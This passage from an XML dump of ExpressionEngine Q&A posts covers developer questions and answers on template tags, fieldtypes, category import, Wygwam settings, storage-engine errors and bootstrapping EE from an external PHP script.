&lt;code&gt;$this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Disclaimer: Remember that &lt;code&gt;$this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata&lt;/code&gt; is the template code within the tag pair (not the whole template), so if you try to get tagdata independently it probably won't be related to the tagdata that the method with the hook is using (especially a pair loop). And you probably won't be able to use &lt;code&gt;$this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata&lt;/code&gt; to get the tagdata! Some hooks (especially third-party) send the whole parent object, which allows access to different elements that may include the tagdata.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Importantly the bottom line is, it depends on what hook you're using and what you're trying to do in the Extension.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2013-08-02T10:49:29.320" LastActivityDate="2013-08-02T10:49:29.320" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12400" PostTypeId="2" ParentId="12396" CreationDate="2013-07-31T16:49:34.920" Score="1" Body="&lt;p&gt;You can use &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#title-permalink&quot; rel=&quot;nofollow&quot;&gt;{title_permalink}&lt;/a&gt; or &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#url-title-path&quot; rel=&quot;nofollow&quot;&gt;{url_title_path}&lt;/a&gt; to output a link to a page with its current url title. Like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;some_channel&quot; entry_id=&quot;12|43|55&quot;}&#xA;    &amp;lt;a href=&quot;{title_permalink='your_template_group/your_template'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-07-31T16:49:34.920" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12401" PostTypeId="1" AcceptedAnswerId="12402" CreationDate="2013-07-31T16:54:32.443" Score="1" ViewCount="39" Body="&lt;p&gt;:)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to develop a new fieldtype and would like to display different markup depending on whether the field was requested by the user or in the backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a reliable way to detect in the display_field() function whether it was requested via the {exp:safecracker} {custom_fields} loop.&lt;/p&gt;&#xA;" OwnerUserId="565" LastActivityDate="2013-07-31T17:03:51.910" Title="Determine if display_field is request from {safecracker} tag vs. backend?" Tags="|safecracker|add-on-development|fieldtype|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12402" PostTypeId="2" ParentId="12401" CreationDate="2013-07-31T17:03:51.910" Score="3" Body="&lt;p&gt;You could check for the presence of the Safecracker library:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset(ee()-&amp;gt;safecracker))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or check if you're in the control panel&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (REQ === 'CP')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-07-31T17:03:51.910" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12403" PostTypeId="1" AcceptedAnswerId="12404" CreationDate="2013-07-31T20:56:43.390" Score="1" ViewCount="708" Body="&lt;p&gt;I'd like to import a long list of categories into ExpressionEngine and create new categories. Is there an easy way to do this, either via add-on, or some handy PHP code?&lt;/p&gt;&#xA;" OwnerUserId="480" LastActivityDate="2013-07-31T21:59:19.307" Title="What's the best way to bulk add or import categories?" Tags="|categories|import|bulk|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12404" PostTypeId="2" ParentId="12403" CreationDate="2013-07-31T21:59:19.307" Score="1" Body="&lt;p&gt;Use DataGrab -- &lt;a href=&quot;http://devot-ee.com/add-ons/datagrab&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/datagrab&lt;/a&gt; -- and import with a spreadsheet. If you have only one level for categories, it's super easy. If you have category levels or categories with same name, it's a little more complicated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have levels, your spreadsheet (csv is best, IMO) can be created safely following these steps.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In EE, create the first top-level category. Note its cat_id.&lt;/li&gt;&#xA;&lt;li&gt;Export the exp_categories table from your database (or create a spreadsheet with the exact same columns as that table).&lt;/li&gt;&#xA;&lt;li&gt;Add a new row for a new category (best to keep it in order for sanity's sake). If the next category is a child of the first category your entered in EE, make sure to the parent category's id as this category's parent_id. Also, this category would have a cat_id one number higher than the first one you created.&lt;/li&gt;&#xA;&lt;li&gt;Keep adding rows like that.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you have categories with the same name, make sure to give them a unique cat_url_title.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-07-31T21:59:19.307" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12405" PostTypeId="2" ParentId="12387" CreationDate="2013-07-31T23:44:22.910" Score="1" Body="&lt;p&gt;For me, this happened and was a cache problem -- I cleared the cache; it started working again. I know you said you tried that, but give it another go.&lt;/p&gt;&#xA;" OwnerUserId="480" LastActivityDate="2013-07-31T23:44:22.910" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12406" PostTypeId="1" AcceptedAnswerId="12475" CreationDate="2013-07-31T23:58:37.917" Score="0" ViewCount="250" Body="&lt;p&gt;Just upgraded to Wygwam 3.0.2  (EE 2.6.1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The font and size menus are no longer available in the main toolbar, and though I see options for them in the advanced configuration options, they aren't appearing for me even when I've chosen them either. (I've set fontSize_sizes, fontSize_defaultLabel, font_names and font_defaultLabel)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to know how to get them to appear again.&lt;/p&gt;&#xA;" OwnerUserId="480" LastActivityDate="2013-08-04T21:53:45.140" Title="WYGWAM font and size menus after upgrade to 3.0.2" Tags="|pixelandtonic|wygwam|size|toolbar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12407" PostTypeId="2" ParentId="12320" CreationDate="2013-08-01T00:05:05.177" Score="0" Body="&lt;p&gt;Apparently, this is something WYGWAM used to do as well.  Here's the support thread:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://getsatisfaction.com/pixelandtonic/topics/wygwam_deleting_javascript_tags_in_content&quot; rel=&quot;nofollow&quot;&gt;https://getsatisfaction.com/pixelandtonic/topics/wygwam_deleting_javascript_tags_in_content&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="480" LastActivityDate="2013-08-01T00:05:05.177" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12408" PostTypeId="2" ParentId="12395" CreationDate="2013-08-01T07:25:39.950" Score="0" Body="&lt;p&gt;I 'm wondering if you are preparing JSON data within the template and would like to pass within a plugin via plugin parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than it, just access that object or array within plugin and use PHP's function &lt;a href=&quot;http://php.net/manual/en/function.json-encode.php&quot; rel=&quot;nofollow&quot;&gt;json_encode&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-08-01T07:25:39.950" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12411" PostTypeId="1" AcceptedAnswerId="12412" CreationDate="2013-08-01T11:13:00.937" Score="0" ViewCount="86" Body="&lt;p&gt;Would it be possible to install multiple versions of an ExpressionEngine plugin (i.e. Store)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My clients ideally would like two very separate shops on both frontend and backend. Obviously Store could be configured to act as separate shops on the frontend, however all the orders will appear in the same place on the backend etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Dan&lt;/p&gt;&#xA;" OwnerUserId="1634" LastActivityDate="2013-08-02T08:36:11.150" Title="Install multiple versions of ExpressionEngine plugin Store" Tags="|expresso-store|ee2|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12412" PostTypeId="2" ParentId="12411" CreationDate="2013-08-01T11:49:00.553" Score="1" Body="&lt;p&gt;I'd probably look at setting up MSM (Multiple Site Manager). If you're not familiar, its an EE 1st Party addon that lets you have one install of EE on different URLs. So you could set it up so you had a sub-domain as the 'backend' cart system and then just secure it so only your client can get in if needs be. The front end would be as normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also suggest looking into Cartthrob for this - The support is a bit pants at the moment with CT, but you have so much more flexibility. I love store, but I set up three shops in the manner for a client not so long ago, I went down the route of Store and hit a few brick walls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CT takes longer to set up as you have an insane amount of control over what is happening. For example I set up the three stores using MSM and then had one category section for each site. This way the client can control what products are in what category and therefore what site they show on. Not only that, but you could also have different prices if you so wished. I believe this isn't possible with Store at the moment, but I could be wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overall, you could do it with Store and I'd just look into MSM from EllisLab. However, for this project, I'd strongly advise you take a good look at CT - Although it is a lot more expensive, there is more control for those - 'Can we do this' moments the client will no doubt throw at you in the future.&lt;/p&gt;&#xA;" OwnerUserId="855" LastActivityDate="2013-08-01T11:49:00.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12413" PostTypeId="2" ParentId="12284" CreationDate="2013-08-01T12:08:39.057" Score="1" Body="&lt;p&gt;If it's just the title of the child entry you want to search, then that will be searchable by default, as Playa stores that data directly in Matrix/channel fields (when they are set to searchable in the field settings).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify, that would give you a search result linking to the parent entry, not the child entry.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-08-01T12:08:39.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12414" PostTypeId="1" CreationDate="2013-08-01T12:10:37.337" Score="1" ViewCount="1938" Body="&lt;p&gt;Getting the following error message on the front end of the sites sub pages and not the home page of the site. I have fixed it before by optimising &amp;amp; repairing the database but it has come up again and would like to fix it permanently. EE 2.5.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error Number: 1030&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Got error 122 from storage engine&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SELECT c.cat_name, c.cat_url_title, c.cat_id, c.cat_image, c.cat_description, c.parent_id, p.cat_id, p.entry_id, c.group_id , cg.field_html_formatting, fd.* FROM (exp_categories AS c, exp_category_posts AS p) LEFT JOIN exp_category_field_data AS fd ON fd.cat_id = c.cat_id LEFT JOIN exp_category_groups AS cg ON cg.group_id = c.group_id WHERE  c.cat_id = p.cat_id AND  p.entry_id IN ('17') ORDER BY c.group_id, c.parent_id, c.cat_order&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: modules/channel/mod.channel.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line Number: 953&lt;/p&gt;&#xA;" OwnerUserId="433" LastActivityDate="2013-09-30T17:50:26.767" Title="Error 122 from Storage Engine" Tags="|mysql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12416" PostTypeId="2" ParentId="12411" CreationDate="2013-08-01T14:54:52.443" Score="0" Body="&lt;p&gt;what would '2 very separate shops' be? I'd probably go down the route of running a sub-domain and keep the 2 product groups in 2 different channels or, alternatively, in 1 channel with a custom field for what shop the product belongs to (probably a checkbox as a product may belong to 2 shops).&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-08-01T14:54:52.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12417" PostTypeId="2" ParentId="12020" CreationDate="2013-08-01T15:04:35.640" Score="1" Body="&lt;p&gt;You might be able to update results using javascript/jQuery and AJAX, fetching the search form results from a separate template containing &lt;code&gt;{exp:super_search:results}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, calling a template containing {exp:super_search:results} and searching for both checked tags and the yet unchecked tag (eg. the checked &quot;Chemical Biology&quot; and unchecked &quot;Structural Biology&quot;), is one way to go for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll probably need an ajax call for each unchecked tag, although you might be able to get all results using one ajax call (and getting results for all tags).&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-08-01T15:04:35.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12418" PostTypeId="2" ParentId="11963" CreationDate="2013-08-01T15:19:26.170" Score="1" Body="&lt;p&gt;Turn on &lt;strong&gt;Template Debugging&lt;/strong&gt; to see if your &lt;code&gt;{exp:parameters:post}&lt;/code&gt; and &lt;code&gt;{exp:stash:get}&lt;/code&gt; tags are parsed correctly and before {exp:super_search:results}. If they aren't, then this might be why you're getting odd results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also test using hard-coded values in &lt;code&gt;{exp:super_search:results}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other things you might want to check:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Your entries have a status of &quot;open&quot;&lt;/li&gt;&#xA;&lt;li&gt;Your search keyword is found in your field within the entry, and that this field is set as &lt;strong&gt;searchable&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Try removing the &lt;code&gt;-exact&lt;/code&gt; part of your search query, to open up the search to possibly more results. You can then compare data with the previous results.&lt;/li&gt;&#xA;&lt;li&gt;For images, and this is more general in EE, make sure the file was uploaded, the URL for your image field is correct, and the uploaded file can be accessed directly from a URL.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-08-01T15:19:26.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12419" PostTypeId="2" ParentId="12281" CreationDate="2013-08-01T15:35:37.223" Score="1" Body="&lt;p&gt;I'm assuming the goal is to get the channel_short_name to use in your global variable. An SQL query might be the quicker way to get to this value, and would avoid using embeds which hinder performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, this query might help:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT ch.channel_name AS channel_short_name &#xA;  FROM exp_ratings r&#xA;  LEFT JOIN exp_channels ch ON ch.channel_id = r.channel_id&#xA;  WHERE r.rating_id = {rating_id}&quot;&#xA;}&#xA;    {channel_short_name}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, you can pass {channel_short_name} in your embed to build your global variable.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-08-01T15:35:37.223" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12421" PostTypeId="2" ParentId="12414" CreationDate="2013-08-01T16:43:21.260" Score="1" Body="&lt;p&gt;OS error code 122: Disk quota exceeded&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hence optimising and fixing before may have reduced and brought you back within limit... is this possible&lt;/p&gt;&#xA;" OwnerUserId="1114" LastActivityDate="2013-08-01T16:43:21.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12422" PostTypeId="2" ParentId="12363" CreationDate="2013-08-01T16:51:52.720" Score="1" Body="&lt;p&gt;Quick check - if the captcha is not displaying, and they can still submit the form... then the chances are they are logged into the backend of the EE control panel and their member group has captchas disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the captcha is not displaying, and they cannot submit the form due to captcha non entry. Then i would first suggest looking at the path for the captcha - does it use a reference different than the site, a domain that is perhaps blocked? Companies often do funny things with their own domain inhouse which could cause this kind of issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if not i think most people will need a lot more details. like output, online links and examples. is it definitely working, or is one or other having cache issues, etc.&lt;/p&gt;&#xA;" OwnerUserId="1114" LastActivityDate="2013-08-01T16:51:52.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12423" PostTypeId="2" ParentId="3581" CreationDate="2013-08-01T17:53:35.923" Score="1" Body="&lt;p&gt;When I do testimonials that are simple, I create a channel called testimonials, create 1 entry in it, with comments enabled. Then I use the comment form with that entry's ID as the &quot;submit your testimonial&quot; form, which allows content, name, email. This also allows you to send the site admin an email when a new one is posted, and moderate them, using the built in EE comment moderation functions. Then just use the comment entries loop to output the testimonials to the page.&lt;/p&gt;&#xA;" OwnerUserId="149" LastActivityDate="2013-08-01T17:53:35.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12424" PostTypeId="1" AcceptedAnswerId="12425" CreationDate="2013-08-01T19:40:49.670" Score="1" ViewCount="281" Body="&lt;p&gt;I found this EE Bootstrap unit:&#xA;&lt;a href=&quot;https://github.com/blocka/ExpressionEngine-Bootstrap&quot; rel=&quot;nofollow&quot;&gt;https://github.com/blocka/ExpressionEngine-Bootstrap&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It &quot;bootstraps&quot; the EE environment, so you use the EE &quot;super object&quot;. However, I'm running into problems trying to use it with EE 2.5.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have set my system_path as required. The script is trying to include Compat.php, which isn't  in 2.5.2, so I comment out that line. The script is also trying to include Base5.php, which also is not in 2.5.2, so I comment out that line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when running, I get an exception: &quot;Class 'Controller' not found&quot; at this line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class A extends Controller {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas how to fix this for 2.5.2?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the source code that I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if (!isset($system_path)) {&#xA;    $system_path = './na_cms/';&#xA;}&#xA;&#xA;$assign_to_config['enable_query_strings'] = TRUE;&#xA;$assign_to_config['subclass_prefix'] = 'EE_';&#xA;&#xA;&#xA;if (realpath($system_path) !== FALSE)&#xA;{&#xA;    $system_path = realpath($system_path).'/';&#xA;}&#xA;&#xA;// ensure there's a trailing slash&#xA;$system_path = rtrim($system_path, '/').'/';&#xA;&#xA;&#xA;define('SELF', pathinfo(__FILE__, PATHINFO_BASENAME));&#xA;define('EXT', '.php');&#xA;define('APPPATH', $system_path.'expressionengine/');&#xA;define('FCPATH', str_replace(SELF, '', __FILE__));&#xA;define('SYSDIR', trim(strrchr(trim(str_replace(&quot;\\&quot;, &quot;/&quot;, $system_path), '/'), '/'), '/'));&#xA;if(!defined('UTF8_ENABLED')) define('UTF8_ENABLED', false);&#xA;if(!defined('CI_VERSION')) define('CI_VERSION', '2.0.1');&#xA;//define('AJAX_REQUEST',false);&#xA;define('DEBUG',false);&#xA;&#xA;require(BASEPATH.'core/Common'.EXT);&#xA;// require(BASEPATH.'core/Compat'.EXT);&#xA;require(APPPATH.'config/constants'.EXT);&#xA;&#xA;$CFG =&amp;amp; load_class('Config', 'core');&#xA;$URI =&amp;amp; load_class('URI', 'core');&#xA;$IN =&amp;amp; load_class('Input', 'core'); &#xA;$OUT =&amp;amp; load_class('Output', 'core');&#xA;$LANG =&amp;amp; load_class('Lang', 'core');&#xA;// require(BASEPATH.'core/Base5'.EXT);&#xA;&#xA;$loader = load_class('Loader', 'core');&#xA;&#xA;// Load the base controller class&#xA;require BASEPATH.'core/Controller'.EXT;&#xA;&#xA;&#xA;class A extends Controller {&#xA;&#xA;}&#xA;&#xA;$EE = new A;&#xA;$EE-&amp;gt;core-&amp;gt;_initialize_core();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1725" LastEditorUserId="1725" LastEditDate="2013-08-01T20:04:28.480" LastActivityDate="2013-08-01T20:05:12.437" Title="Access to EE from outside script" Tags="|ee2|bootstrap|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12425" PostTypeId="2" ParentId="12424" CreationDate="2013-08-01T20:05:12.437" Score="1" Body="&lt;p&gt;Actually, I found a fork that supports EE2.5.2: &lt;a href=&quot;https://github.com/rsanchez/ExpressionEngine-Bootstrap&quot; rel=&quot;nofollow&quot;&gt;https://github.com/rsanchez/ExpressionEngine-Bootstrap&lt;/a&gt;&#xA;I am leaving this question for reference and will accept my own answer when avail.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if (!isset($system_path)) {&#xA;    $system_path = './na_cms/';&#xA;}&#xA;&#xA;$assign_to_config['enable_query_strings'] = TRUE;&#xA;$assign_to_config['subclass_prefix'] = 'EE_';&#xA;&#xA;&#xA;if (realpath($system_path) !== FALSE)&#xA;{&#xA;    $system_path = realpath($system_path).'/';&#xA;}&#xA;&#xA;// ensure there's a trailing slash&#xA;$system_path = rtrim($system_path, '/').'/';&#xA;&#xA;&#xA;define('SELF', pathinfo(__FILE__, PATHINFO_BASENAME));&#xA;define('EXT', '.php');&#xA;if(!defined('BASEPATH')) define('BASEPATH', str_replace(&quot;\\&quot;, &quot;/&quot;, $system_path.'codeigniter/system/'));&#xA;define('APPPATH', $system_path.'expressionengine/');&#xA;define('FCPATH', str_replace(SELF, '', __FILE__));&#xA;define('SYSDIR', trim(strrchr(trim(str_replace(&quot;\\&quot;, &quot;/&quot;, $system_path), '/'), '/'), '/'));&#xA;if(!defined('UTF8_ENABLED')) define('UTF8_ENABLED', false);&#xA;if(!defined('CI_VERSION')) define('CI_VERSION', '2.0.1');&#xA;//define('AJAX_REQUEST',false);&#xA;define('DEBUG',false);&#xA;&#xA;require BASEPATH.'core/Common'.EXT;&#xA;require APPPATH.'config/constants'.EXT;&#xA;&#xA;$CFG =&amp;amp; load_class('Config', 'core');&#xA;$URI =&amp;amp; load_class('URI', 'core');&#xA;$IN =&amp;amp; load_class('Input', 'core'); &#xA;$OUT =&amp;amp; load_class('Output', 'core');&#xA;$LANG =&amp;amp; load_class('Lang', 'core');&#xA;$SEC =&amp;amp; load_class('Security', 'core');&#xA;&#xA;$loader = load_class('Loader', 'core');&#xA;&#xA;// Load the base controller class&#xA;require BASEPATH.'core/Controller'.EXT;&#xA;&#xA;function &amp;amp;get_instance()&#xA;{&#xA;    return CI_Controller::get_instance();&#xA;}&#xA;&#xA;class EE_Bootstrap extends CI_Controller {}&#xA;&#xA;$EE = new EE_Bootstrap;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1725" LastActivityDate="2013-08-01T20:05:12.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12426" PostTypeId="1" AcceptedAnswerId="12763" CreationDate="2013-08-01T20:37:50.297" Score="0" ViewCount="137" Body="&lt;p&gt;I’ve started trying to figure out how relationships work and I have two channels (parentChannel and childChannel).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My data looks like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;parentChannel - title - “Item Name” &lt;/li&gt;&#xA;&lt;li&gt;childChannel - title - “2013 Item Name” , “2012 Item Name”, etc, etc&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Within one of my templates, I would like to show some childChannel data, but I want to filter it to only the newest entry - in this case the 2013 entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I accomplish this?  Should I be “filtering” my childChannel data by some other means than the title itself, such as a category?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1762" LastActivityDate="2013-08-15T14:58:26.767" Title="Relationships - Filtering Child Entries" Tags="|relationships|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12427" PostTypeId="2" ParentId="12426" CreationDate="2013-08-02T01:49:39.803" Score="0" Body="&lt;p&gt;I can think of two ways of do this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;to turn the parentChannel into a category group;&lt;/li&gt;&#xA;&lt;li&gt;to create a category or a field to save the year of the item name on childChannel;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To avoid duplicated data, I prefer the number 1.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-08-02T01:49:39.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12429" PostTypeId="1" AcceptedAnswerId="12640" CreationDate="2013-08-02T05:15:09.920" Score="1" ViewCount="112" Body="&lt;p&gt;I see in the Member Groups Preferences(Member -&gt; Member Groups -&gt; Edit Group) that there is an option for &quot;‘Maximum Number of Private Messages a user can store&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I set it to 0, will this make this unlimited? If not, how do I make it unlimited?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-08-12T00:29:14.063" Title="Unlimited Private Messages" Tags="|messages|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12430" PostTypeId="2" ParentId="12411" CreationDate="2013-08-02T08:36:11.150" Score="0" Body="&lt;p&gt;You could also run one instance of store and then create multiple store sections with different categories, possibly each with its own subdomain. In this way there is only one financial connection but many potential store fronts. &lt;/p&gt;&#xA;" OwnerUserId="175" LastActivityDate="2013-08-02T08:36:11.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12431" PostTypeId="1" CreationDate="2013-08-02T08:38:30.077" Score="3" ViewCount="354" Body="&lt;p&gt;I just updated to Wygwams latest version and I don't see the &quot;text align&quot; option anymore. How do I restore it?&lt;/p&gt;&#xA;" OwnerUserId="1842" LastEditorUserId="55" LastEditDate="2013-08-02T14:53:58.620" LastActivityDate="2013-08-16T17:23:13.000" Title="WYGWAM - text align center?" Tags="|wygwam|html|text-formatting|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12432" PostTypeId="1" AcceptedAnswerId="12436" CreationDate="2013-08-02T10:50:51.263" Score="1" ViewCount="77" Body="&lt;p&gt;I'm trying to create a post on russian and after typing anything and clicking source I see this stuff:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&amp;amp;#1057;&amp;amp;#1090;&amp;amp;#1072;&amp;amp;#1076;&amp;amp;#1080;&amp;amp;#1086;&amp;amp;#1085; &amp;amp;#1073;&amp;amp;#1099;&amp;amp;#1083; &amp;amp;#1087;&amp;amp;#1086;&amp;amp;#1083;&amp;amp;#1085;&amp;amp;#1099;&amp;amp;#1081;, &amp;amp;#1085;&amp;amp;#1077; &amp;amp;#1087;&amp;amp;#1088;&amp;amp;#1086;&amp;amp;#1089;&amp;amp;#1090;&amp;amp;#1086; &amp;amp;#1087;&amp;amp;#1086;&amp;amp;#1083;&amp;amp;#1085;&amp;amp;#1099;&amp;amp;#1081;, &amp;amp;#1072; &amp;amp;#1087;&amp;amp;#1077;&amp;amp;#1088;&amp;amp;#1077;&amp;amp;#1087;&amp;amp;#1086;&amp;amp;#1083;&amp;amp;#1085;&amp;amp;#1077;&amp;amp;#1085;&amp;amp;#1085;&amp;amp;#1099;&amp;amp;#1081;, &amp;amp;#1083;&amp;amp;#1102;&amp;amp;#1076;&amp;amp;#1080; &amp;amp;#1089;&amp;amp;#1084;&amp;amp;#1086;&amp;amp;#1090;&amp;amp;#1088;&amp;amp;#1077;&amp;amp;#1083;&amp;amp;#1080; &amp;amp;#1089;&amp;amp;#1090;&amp;amp;#1086;&amp;amp;#1103;, &amp;amp;#1085;&amp;amp;#1072; &amp;amp;#1074;&amp;amp;#1093;&amp;amp;#1086;&amp;amp;#1076;&amp;amp;#1077;, &amp;amp;#1074;&amp;amp;#1099;&amp;amp;#1096;&amp;amp;#1077; &amp;amp;#1089;&amp;amp;#1080;&amp;amp;#1076;&amp;amp;#1103;&amp;amp;#1095;&amp;amp;#1080;&amp;amp;#1093; &amp;amp;#1084;&amp;amp;#1077;&amp;amp;#1089;&amp;amp;#1090;, &amp;amp;#1103; &amp;amp;#1073;&amp;amp;#1099;&amp;amp;#1083; &amp;amp;#1087;&amp;amp;#1088;&amp;amp;#1080;&amp;amp;#1103;&amp;amp;#1090;&amp;amp;#1085;&amp;amp;#1086; &amp;amp;#1091;&amp;amp;#1076;&amp;amp;#1080;&amp;amp;#1074;&amp;amp;#1083;&amp;amp;#1077;&amp;amp;#1085;, &amp;amp;#1095;&amp;amp;#1090;&amp;amp;#1086; &amp;amp;#1087;&amp;amp;#1088;&amp;amp;#1080;&amp;amp;#1096;&amp;amp;#1083;&amp;amp;#1086; &amp;amp;#1089;&amp;amp;#1090;&amp;amp;#1086;&amp;amp;#1083;&amp;amp;#1100;&amp;amp;#1082;&amp;amp;#1086; &amp;amp;#1083;&amp;amp;#1102;&amp;amp;#1076;&amp;amp;#1077;&amp;amp;#1081; &amp;amp;#1087;&amp;amp;#1086;&amp;amp;#1076;&amp;amp;#1076;&amp;amp;#1077;&amp;amp;#1088;&amp;amp;#1078;&amp;amp;#1072;&amp;amp;#1090;&amp;amp;#1100; &amp;amp;#1089;&amp;amp;#1074;&amp;amp;#1086;&amp;amp;#1081; 